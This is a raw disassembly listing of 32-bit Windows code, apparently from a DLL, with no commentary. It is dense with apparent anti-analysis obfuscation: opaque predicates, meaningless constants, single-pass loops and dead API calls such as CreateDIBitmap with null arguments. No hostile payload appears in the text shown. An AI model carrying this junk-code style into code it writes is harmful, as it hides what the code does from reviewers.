cmp dword [ebp - 0xec], 0xa
jg 0x100358a8
mov dword [ebp - 0x39c], 0
jmp 0x100356da
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 2
jge 0x100356f6
mov eax, dword [ebp - 0x39c]
mov dword [ebp + eax*4 - 0xe54], 0xf58a
jmp 0x100356cd
mov dword [ebp - 0x34], 0
jmp 0x10035706
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jg 0x100358a3
mov dword [ebp - 0x6ac], 0xd7e942fa
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x10035840
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe48]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe48], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x1540], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x414]
mov dword [ebp - 0x1554], eax
mov eax, dword [ebp - 0xec0]
mov dword [ebp - 0x155c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xe48], 0xffffffff
jne 0x1003578a
mov eax, 0x7c19c50e
test eax, eax
jne 0x1003578a
and dword [ebp - 0x69c], 0
jmp 0x10035794
mov dword [ebp - 0x69c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe54]
cmp dword [ebp - 0x69c], eax
jg 0x100357b5
mov dword [ebp - 0x6a4], 1
jmp 0x100357bc
and dword [ebp - 0x6a4], 0
cmp dword [ebp - 0x6a4], 0xdbec8b24
jbe 0x100357d4
mov dword [ebp - 0xf88], 1
jmp 0x100357db
and dword [ebp - 0xf88], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe54]
mov dword [ebp - 0x1564], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1570], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe54]
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 1
je 0x1003581f
mov dword [ebp - 0x6b4], 1
jmp 0x10035826
and dword [ebp - 0x6b4], 0
imul eax, dword [ebp - 0x6b4], 0x122e
test eax, eax
je 0x10035840
mov dword [ebp - 0x6bc], 1
jmp 0x10035847
and dword [ebp - 0x6bc], 0
cmp dword [ebp - 0x6bc], 0xf544
jg 0x1003585f
mov dword [ebp - 0x6c4], 1
jmp 0x10035866
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x414]
cmp dword [ebp - 0x6c4], eax
jge 0x10035884
mov dword [ebp - 0x6cc], 1
jmp 0x1003588b
and dword [ebp - 0x6cc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6cc]
mov dword [ebp + eax - 0x414], ecx
jmp 0x100356ff
jmp 0x100356a7
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0xe4], ax
jmp 0x10037c0c
mov dword [ebp - 0x88], 0x8ade19d2
mov dword [ebp - 0x744], 0xddbc75b1
push 2
lea ecx, [ebp - 0x11ac]
call fcn.1001ba30
mov dword [ebp - 4], 0x3a
push 3
lea ecx, [ebp - 0x11e8]
call fcn.1001ba30
mov byte [ebp - 4], 0x3b
mov dword [ebp - 0x74c], 0xffff
mov dword [ebp - 0x5c], 0
jmp 0x1003590b
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x10035921
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x4c4], 6
jmp 0x10035904
mov dword [ebp - 0x5c], 0
jmp 0x10035931
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x1003594d
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x11ac]
call fcn.1001bad7
mov dword [eax], 0x8e1ce43c
jmp 0x1003592a
mov dword [ebp - 0x5c], 0
jmp 0x1003595d
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x10035979
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x11e8]
call fcn.1001bad7
mov dword [eax], 0x6a3f0bde
jmp 0x10035956
mov dword [ebp - 0x88], 0
jmp 0x10035992
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jg 0x10035ca8
mov dword [ebp - 0x180], 0xcd2466e9
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp + eax*4 - 0x4c4]
mov dword [ebp - 0x1578], eax
mov eax, 0xffff199e
test eax, eax
je 0x10035a6e
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x180]
cmp ecx, dword [ebp + eax - 0x4c4]
jg 0x100359ea
mov dword [ebp - 0x6d4], 1
jmp 0x100359f1
and dword [ebp - 0x6d4], 0
cmp dword [ebp - 0x6d4], 0
jle 0x10035a06
mov dword [ebp - 0x6dc], 1
jmp 0x10035a0d
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x180]
cmp dword [ebp - 0x6dc], eax
je 0x10035a27
mov dword [ebp - 0x6e4], 1
jmp 0x10035a2e
and dword [ebp - 0x6e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c4]
cmp dword [ebp - 0x6e4], eax
jl 0x10035a4f
mov dword [ebp - 0x6ec], 1
jmp 0x10035a56
and dword [ebp - 0x6ec], 0
cmp dword [ebp - 0x6ec], 0x4709ba87
je 0x10035a6e
mov dword [ebp - 0x6f4], 1
jmp 0x10035a75
and dword [ebp - 0x6f4], 0
cmp dword [ebp - 0x6f4], 0xafb5d1cb
jbe 0x10035a8d
mov dword [ebp - 0x6fc], 1
jmp 0x10035a94
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp + eax*4 - 0x4c4]
neg eax
neg eax
cmp eax, dword [ebp - 0x6fc]
jne 0x10035ab9
mov dword [ebp - 0xec8], 1
jmp 0x10035ac0
and dword [ebp - 0xec8], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4c4], 0xc4e2bf5f
jne 0x10035adf
mov dword [ebp - 0x1014], 1
jmp 0x10035ae6
and dword [ebp - 0x1014], 0
or eax, 0xffffffff
jne 0x10035afd
cmp dword [ebp - 0x88], 0
jne 0x10035afd
and dword [ebp - 0x704], 0
jmp 0x10035b07
mov dword [ebp - 0x704], 1
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x704]
sub ecx, dword [ebp + eax*4 - 0x4c4]
je 0x10035b56
mov dword [ebp - 0x180], 0
jmp 0x10035b35
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 3
jge 0x10035b51
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0x4c4], 0xa9f
jmp 0x10035b28
jmp 0x10035ca3
mov dword [ebp - 0x41c], 2
mov dword [ebp - 0x72c], 0x7c8fa1b4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4c4], 0
je 0x10035bee
cmp dword [ebp - 0x41c], 0
je 0x10035b9f
mov eax, dword [ebp - 0x88]
cmp dword [ebp + eax*4 - 0x4c4], 0
je 0x10035b9f
mov dword [ebp - 0x70c], 1
jmp 0x10035ba6
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x70c], eax
jle 0x10035bc0
mov dword [ebp - 0x714], 1
jmp 0x10035bc7
and dword [ebp - 0x714], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x4c4]
imul eax, dword [ebp - 0x714]
add eax, dword [ebp - 0x41c]
je 0x10035bee
mov dword [ebp - 0x71c], 1
jmp 0x10035bf5
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x71c], eax
jge 0x10035c0f
mov dword [ebp - 0x724], 1
jmp 0x10035c16
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x724]
inc eax
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0x72c]
cmp eax, dword [ebp - 0x41c]
jle 0x10035c3d
mov dword [ebp - 0x734], 1
jmp 0x10035c44
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x734], eax
jne 0x10035c64
cmp dword [ebp - 0x744], 0
jne 0x10035c64
and dword [ebp - 0x73c], 0
jmp 0x10035c6e
mov dword [ebp - 0x73c], 1
push 1
lea ecx, [ebp - 0x11ac]
call fcn.1001bad7
mov ecx, dword [ebp - 0x73c]
mov dword [eax], ecx
mov esi, 0x56fae7a4
sub esi, dword [ebp - 0x744]
add esi, 0x4bda99da
push 2
lea ecx, [ebp - 0x11e8]
call fcn.1001bad7
mov dword [eax], esi
jmp 0x10035985
mov eax, dword [ebp - 0x74c]
dec eax
mov dword [ebp - 0x74c], eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x11e8]
call fcn.1001bab2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11ac]
call fcn.1001bab2
mov eax, dword [0x106249a8]
and eax, 1
jne 0x10035d0a
mov eax, dword [0x106249a8]
or eax, 1
mov dword [0x106249a8], eax
mov dword [ebp - 4], 0x3c
mov ecx, 0x10624a10
call fcn.1001bc2a
push 0x1007c340
call fcn.10062509
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xed0], 0x1840
cmp dword [ebp - 0xed0], 0x124b
push 3
lea ecx, [ebp - 0xca4]
call fcn.1001ba30
mov dword [ebp - 4], 0x3d
push 1
lea ecx, [ebp - 0x10a8]
call fcn.1001ba30
mov byte [ebp - 4], 0x3e
mov dword [ebp - 0x1580], 0xee94ccb0
mov dword [ebp - 0xee8], 0
mov dword [ebp - 0x156c], 0xd700d1a0
mov dword [ebp - 0x7b4], 0x39f94ad8
mov dword [ebp - 0x14ec], 0xffffffff
mov dword [ebp - 0x1500], 0x36042c8c
mov dword [ebp - 0x140c], 5
mov dword [ebp - 0x7d4], 1
mov dword [ebp - 0x20], 0
jmp 0x10035da3
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10035db9
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x3f8], 0x58e4
jmp 0x10035d9c
mov dword [ebp - 0x20], 0
jmp 0x10035dc9
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10035de2
push dword [ebp - 0x20]
lea ecx, [ebp - 0xca4]
call fcn.1001bad7
or dword [eax], 0xffffffff
jmp 0x10035dc2
mov dword [ebp - 0x20], 0
jmp 0x10035df2
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jge 0x10035e0e
push dword [ebp - 0x20]
lea ecx, [ebp - 0x10a8]
call fcn.1001bad7
mov dword [eax], 5
jmp 0x10035deb
mov dword [ebp - 0x20], 0
jmp 0x10035e1e
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10035e34
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1114], 0xbb218ad3
jmp 0x10035e17
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x3f8]
push 2
lea ecx, [ebp - 0xca4]
call fcn.1001bad7
mov dword [eax], esi
push 2
lea ecx, [ebp - 0xca4]
call fcn.1001bad7
cmp dword [eax], 0
je 0x10036289
push 2
lea ecx, [ebp - 0xca4]
call fcn.1001bad7
cmp dword [eax], 0xfffffff7
je 0x10035e84
mov dword [ebp - 0x754], 1
jmp 0x10035e8b
and dword [ebp - 0x754], 0
cmp dword [ebp - 0x754], 0xfffffff9
jl 0x10035ea0
mov dword [ebp - 0x75c], 1
jmp 0x10035ea7
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
neg eax
jne 0x10035eca
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3f8], 0
jne 0x10035eca
and dword [ebp - 0x764], 0
jmp 0x10035ed4
mov dword [ebp - 0x764], 1
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x3f8]
add ecx, dword [ebp - 0x764]
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x3f8]
imul edx, ecx
neg edx
cmp edx, dword [ebp + eax - 0x3f8]
jg 0x10035f14
mov dword [ebp - 0x76c], 1
jmp 0x10035f1b
and dword [ebp - 0x76c], 0
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x3f8]
push 0
lea ecx, [ebp - 0x10a8]
call fcn.1001bad7
mov ecx, dword [ebp - 0x76c]
sub ecx, dword [eax]
cmp ecx, esi
jne 0x10035f5d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3f8], 0
je 0x10035f5d
mov dword [ebp - 0x774], 1
jmp 0x10035f64
and dword [ebp - 0x774], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3f8]
cmp eax, dword [ebp - 0x774]
je 0x10035f85
mov dword [ebp - 0x77c], 1
jmp 0x10035f8c
and dword [ebp - 0x77c], 0
push 2
lea ecx, [ebp - 0xca4]
call fcn.1001bad7
mov ecx, dword [ebp - 0x77c]
cmp ecx, dword [eax]
jne 0x10035faf
mov dword [ebp - 0x784], 1
jmp 0x10035fb6
and dword [ebp - 0x784], 0
cmp dword [ebp - 0x784], 0x220985a9
je 0x10036289
mov dword [ebp - 0x208], 0xe7b1b0ca
mov dword [ebp - 0xed8], 0xfffffff7
mov dword [ebp - 0x12c8], 0
mov dword [ebp - 0xee0], 0xd978029
mov dword [ebp - 0xf98], 0xfffffffd
mov dword [ebp - 0x3a4], 0
jmp 0x10036011
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 3
jge 0x1003602d
mov eax, dword [ebp - 0x3a4]
mov dword [ebp + eax*4 - 0x10c0], 0
jmp 0x10036004
mov dword [ebp - 0x208], 0
jmp 0x10036046
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x11
jl 0x100361d4
mov dword [ebp - 0x154c], 0
mov dword [ebp - 0x12d0], 0xffffffff
mov dword [ebp - 0x1414], 0xffffffff
mov dword [ebp - 0x12d8], 0x5631cd1a
mov dword [ebp - 0x1514], 0xffffffff
mov dword [ebp - 0x12e0], 0xb389fa18
mov dword [ebp - 0x1424], 0xc37f20ba
mov dword [ebp - 0x12e8], 1
mov dword [ebp - 0x1550], 0
mov dword [ebp - 0x1030], 0xfffffff6
mov dword [ebp - 0x12f0], 0xfffffffe
mov dword [ebp - 0x794], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x10c0]
dec eax
mov dword [ebp - 0xf90], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xf90]
mov dword [ebp + eax - 0x10c0], ecx
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x1434], eax
cmp dword [ebp - 0x7b4], 0
jne 0x10036125
mov esi, dword [ebp - 0xed8]
push 0
lea ecx, [ebp - 0x10a8]
call fcn.1001bad7
cmp dword [eax], esi
je 0x10036125
and dword [ebp - 0x78c], 0
jmp 0x1003612f
mov dword [ebp - 0x78c], 1
push 2
lea ecx, [ebp - 0xca4]
call fcn.1001bad7
mov dword [eax], 0x3f36
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1114]
imul eax, dword [ebp - 0x78c]
dec eax
cmp eax, 0x3f36
je 0x10036170
cmp dword [ebp - 0x794], 0
jne 0x10036170
and dword [ebp - 0x79c], 0
jmp 0x1003617a
mov dword [ebp - 0x79c], 1
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x79c], eax
jne 0x10036194
mov dword [ebp - 0x7a4], 1
jmp 0x1003619b
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x1030]
cmp dword [ebp - 0x7a4], eax
jge 0x100361b5
mov dword [ebp - 0x7ac], 1
jmp 0x100361bc
and dword [ebp - 0x7ac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7ac]
mov dword [ebp + eax - 0x1114], ecx
jmp 0x10036039
cmp dword [ebp - 0xee0], 0
jne 0x10036250
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c0]
mov dword [ebp - 0x12f8], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x10c0]
mov dword [ebp - 0x151c], eax
cmp dword [ebp - 0xf98], 0
jne 0x10036250
push 2
lea ecx, [ebp - 0xca4]
call fcn.1001bad7
cmp dword [eax], 0
je 0x10036232
cmp dword [ebp - 0x7b4], 0
je 0x10036232
mov dword [ebp - 0x7bc], 1
jmp 0x10036239
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0xee8]
cmp dword [ebp - 0x7bc], eax
jne 0x10036250
and dword [ebp - 0x7c4], 0
jmp 0x1003625a
mov dword [ebp - 0x7c4], 1
mov eax, dword [ebp - 0x7d4]
cmp dword [ebp - 0x7c4], eax
jle 0x10036274
mov dword [ebp - 0x7cc], 1
jmp 0x1003627b
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x7d4], eax
jmp 0x100362a9
mov dword [ebp - 0x101c], 0x594a39b7
mov dword [ebp - 0xef0], 0x726abe92
mov eax, dword [ebp - 0x101c]
mov dword [ebp - 0xef0], eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x10a8]
call fcn.1001bab2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xca4]
call fcn.1001bab2
movzx eax, byte [0x106248e7]
test eax, eax
je 0x100370e0
mov ecx, 0x10624a10
call fcn.10039c57
movzx eax, al
test eax, eax
jne 0x100370e0
mov dword [ebp - 0x18], 0x7a4a12b5
mov dword [ebp - 0x42c], 0xffffffff
mov dword [ebp - 0xac], 1
mov dword [ebp - 0x210], 0xffffffff
mov dword [ebp - 0x104c], 0xce5052de
mov dword [ebp - 0xfa8], 0x60710019
mov dword [ebp - 0x8fc], 0xca9a
mov dword [ebp - 0xf4], 0
jmp 0x10036347
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jge 0x10036360
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0x28], 0x2799ac78
jmp 0x1003633a
mov dword [ebp - 0xf4], 0
jmp 0x10036379
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 4
jge 0x10036395
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0x110c], 0xa1a1f050
jmp 0x1003636c
mov byte [ebp - 0x150], 0
movzx eax, byte [ebp - 0x150]
test eax, eax
je 0x100363b1
push 0
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
mov dword [ebp - 0x18], 0
jmp 0x100363c1
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x10036bf3
mov dword [ebp - 0x1bc], 1
mov dword [ebp - 0x1300], 0xffffffff
mov dword [ebp - 0x3ac], 0
jmp 0x100363f8
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 2
jge 0x10036414
mov eax, dword [ebp - 0x3ac]
mov dword [ebp + eax*4 - 0x16a4], 0xfffffffa
jmp 0x100363eb
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x1444], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x1308], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x110c], 0x32c5b641
or eax, 0xffffffff
cmp eax, 1
jb 0x10036453
mov dword [ebp - 0xfa0], 1
jmp 0x1003645a
and dword [ebp - 0xfa0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x28]
cmp ecx, dword [ebp + eax - 0x28]
je 0x10036479
mov dword [ebp - 0x7dc], 1
jmp 0x10036480
and dword [ebp - 0x7dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x7dc], eax
jle 0x1003649e
mov dword [ebp - 0x7e4], 1
jmp 0x100364a5
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x28]
cmp ecx, dword [ebp + eax*4 - 0x28]
jge 0x100364cd
mov dword [ebp - 0x7ec], 1
jmp 0x100364d4
and dword [ebp - 0x7ec], 0
cmp dword [ebp - 0x7ec], 1
jae 0x100364f2
cmp dword [ebp - 0xac], 0
je 0x100364f2
mov dword [ebp - 0x7f4], 1
jmp 0x100364f9
and dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x7f4], eax
je 0x1003651a
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x28], 0
jne 0x1003651a
and dword [ebp - 0x7fc], 0
jmp 0x10036524
mov dword [ebp - 0x7fc], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x7fc], eax
jge 0x10036542
mov dword [ebp - 0x804], 1
jmp 0x10036549
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x804], eax
je 0x10036563
mov dword [ebp - 0x80c], 1
jmp 0x1003656a
and dword [ebp - 0x80c], 0
cmp dword [ebp - 0x80c], 0x164e62b5
jg 0x10036582
mov dword [ebp - 0x814], 1
jmp 0x10036589
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x28]
imul eax, dword [ebp - 0x814]
cmp eax, 0xfffffff9
jb 0x100365a8
mov dword [ebp - 0x81c], 1
jmp 0x100365af
and dword [ebp - 0x81c], 0
cmp dword [ebp - 0x81c], 0
jb 0x100365c4
mov dword [ebp - 0x824], 1
jmp 0x100365cb
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xac], 3
jmp 0x100365f0
cmp dword [ebp - 0xac], 0
jl 0x10036bee
push 2
lea ecx, [ebp - 0xce4]
call fcn.1001ba30
mov dword [ebp - 4], 0x3f
mov dword [ebp - 0x424], 0
push 4
lea ecx, [ebp - 0x1078]
call fcn.1001ba30
mov byte [ebp - 4], 0x40
mov dword [ebp - 0xfc], 0
jmp 0x10036645
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 2
jge 0x10036664
push dword [ebp - 0xfc]
lea ecx, [ebp - 0xce4]
call fcn.1001bad7
and dword [eax], 0
jmp 0x10036638
mov dword [ebp - 0xfc], 0
jmp 0x1003667d
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 4
jge 0x1003669f
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x1078]
call fcn.1001bad7
mov dword [eax], 0xfffffff9
jmp 0x10036670
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x1568], eax
mov dword [ebp - 0x210], 0x6b29
mov eax, dword [ebp - 0x210]
cmp eax, dword [ebp - 0x424]
jne 0x100366d0
mov dword [ebp - 0xef8], 1
jmp 0x100366d7
and dword [ebp - 0xef8], 0
push 1
lea ecx, [ebp - 0xce4]
call fcn.1001bad7
cmp dword [ebp - 0x424], 0
je 0x10036702
cmp dword [ebp - 0x210], 0
je 0x10036702
mov dword [ebp - 0x82c], 1
jmp 0x10036709
and dword [ebp - 0x82c], 0
mov esi, dword [ebp - 0x82c]
sub esi, dword [ebp - 0x18]
push 1
lea ecx, [ebp - 0xce4]
call fcn.1001bad7
cmp dword [eax], esi
je 0x1003672f
mov dword [ebp - 0x834], 1
jmp 0x10036736
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x834]
add eax, 0xfffe
mov dword [ebp - 0x83c], eax
push 3
lea ecx, [ebp - 0x1078]
call fcn.1001bad7
mov ecx, dword [ebp - 0x83c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x424]
cmp dword [ebp - 0x83c], eax
jge 0x10036773
cmp dword [ebp - 0xac], 0
je 0x10036788
mov eax, 0x5a2e206c
test eax, eax
je 0x10036788
mov dword [ebp - 0x844], 1
jmp 0x1003678f
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp + eax*4 - 0x28]
add esi, dword [ebp - 0x844]
push 1
lea ecx, [ebp - 0xce4]
call fcn.1001bad7
cmp esi, dword [eax]
jne 0x100367b9
mov dword [ebp - 0x84c], 1
jmp 0x100367c0
and dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 0xfffffffb
jg 0x100367d5
mov dword [ebp - 0x854], 1
jmp 0x100367dc
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x854], eax
je 0x100367f3
mov dword [ebp - 0x85c], 1
jmp 0x100367fa
and dword [ebp - 0x85c], 0
cmp dword [ebp - 0x85c], 0x2d3f5771
je 0x10036812
mov dword [ebp - 0x864], 1
jmp 0x10036819
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x42c]
cmp dword [ebp - 0x864], eax
je 0x10036833
mov dword [ebp - 0x86c], 1
jmp 0x1003683a
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [ebp - 0x86c]
je 0x10036854
mov dword [ebp - 0x874], 1
jmp 0x1003685b
and dword [ebp - 0x874], 0
push 1
lea ecx, [ebp - 0xce4]
call fcn.1001bad7
mov ecx, dword [ebp - 0x874]
sub ecx, dword [eax]
je 0x10036887
jmp 0x100363ba
lea eax, [ebp - 0x3dc]
push eax
lea eax, [ebp - 0x994]
push eax
mov ecx, 0x10624a10
call fcn.1001bc15
mov dword [ebp - 0x224], 1
mov dword [ebp - 0x224], 0xb
jmp 0x10036c2e
mov eax, dword [ebp - 0x224]
dec eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 7
jge 0x10036c63
mov byte [ebp - 0x1a7], 0
movzx eax, byte [ebp - 0x1a7]
test eax, eax
je 0x10036c61
push 0x23f7
push 0
push 0
push 0
push 0
push 0x1b85
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
jmp 0x10036c21
mov dword [ebp - 0x224], 0xffffffff
lea eax, [ebp - 0x1454]
push eax
mov ecx, 0x10624a10
call fcn.1001bc07
push eax
lea ecx, [ebp - 0x994]
call fcn.1001bce1
movzx eax, al
test eax, eax
je 0x100370e0
mov dword [ebp - 0xa8], 4
mov dword [ebp - 0x90], 0x2f80c341
push 2
lea ecx, [ebp - 0xcfc]
call fcn.1001ba30
mov dword [ebp - 4], 0x41
mov dword [ebp - 0x3b4], 0
jmp 0x10036cd6
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 2
jge 0x10036cf5
push dword [ebp - 0x3b4]
lea ecx, [ebp - 0xcfc]
call fcn.1001bad7
and dword [eax], 0
jmp 0x10036cc9
xor eax, eax
inc eax
je 0x10036d0f
cmp dword [ebp - 0xa8], 0
je 0x10036d0f
mov dword [ebp - 0x904], 1
jmp 0x10036d16
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x904]
neg eax
cmp eax, dword [ebp - 0xa8]
jle 0x10036d32
mov dword [ebp - 0x90c], 1
jmp 0x10036d39
and dword [ebp - 0x90c], 0
cmp dword [ebp - 0x90c], 0x18a5
jne 0x10036d51
mov dword [ebp - 0x914], 1
jmp 0x10036d58
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jne 0x10036d79
mov dword [ebp - 0x91c], 1
jmp 0x10036d80
and dword [ebp - 0x91c], 0
cmp dword [ebp - 0x91c], 0xfffffff9
jg 0x10036d95
mov dword [ebp - 0x924], 1
jmp 0x10036d9c
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x924], eax
jl 0x10036db6
mov dword [ebp - 0x92c], 1
jmp 0x10036dbd
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0xa8]
sub eax, dword [ebp - 0x92c]
jne 0x10036ddd
cmp dword [ebp - 0x90], 0
jne 0x10036ddd
and dword [ebp - 0x934], 0
jmp 0x10036de7
mov dword [ebp - 0x934], 1
mov eax, dword [ebp - 0x934]
add eax, 0x1245c810
je 0x10036e58
mov dword [ebp - 0x90], 1
jmp 0x10036e0d
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jl 0x10036e53
mov dword [ebp - 0x93c], 0x55fff839
mov dword [ebp - 0xa8], 0
jmp 0x10036e39
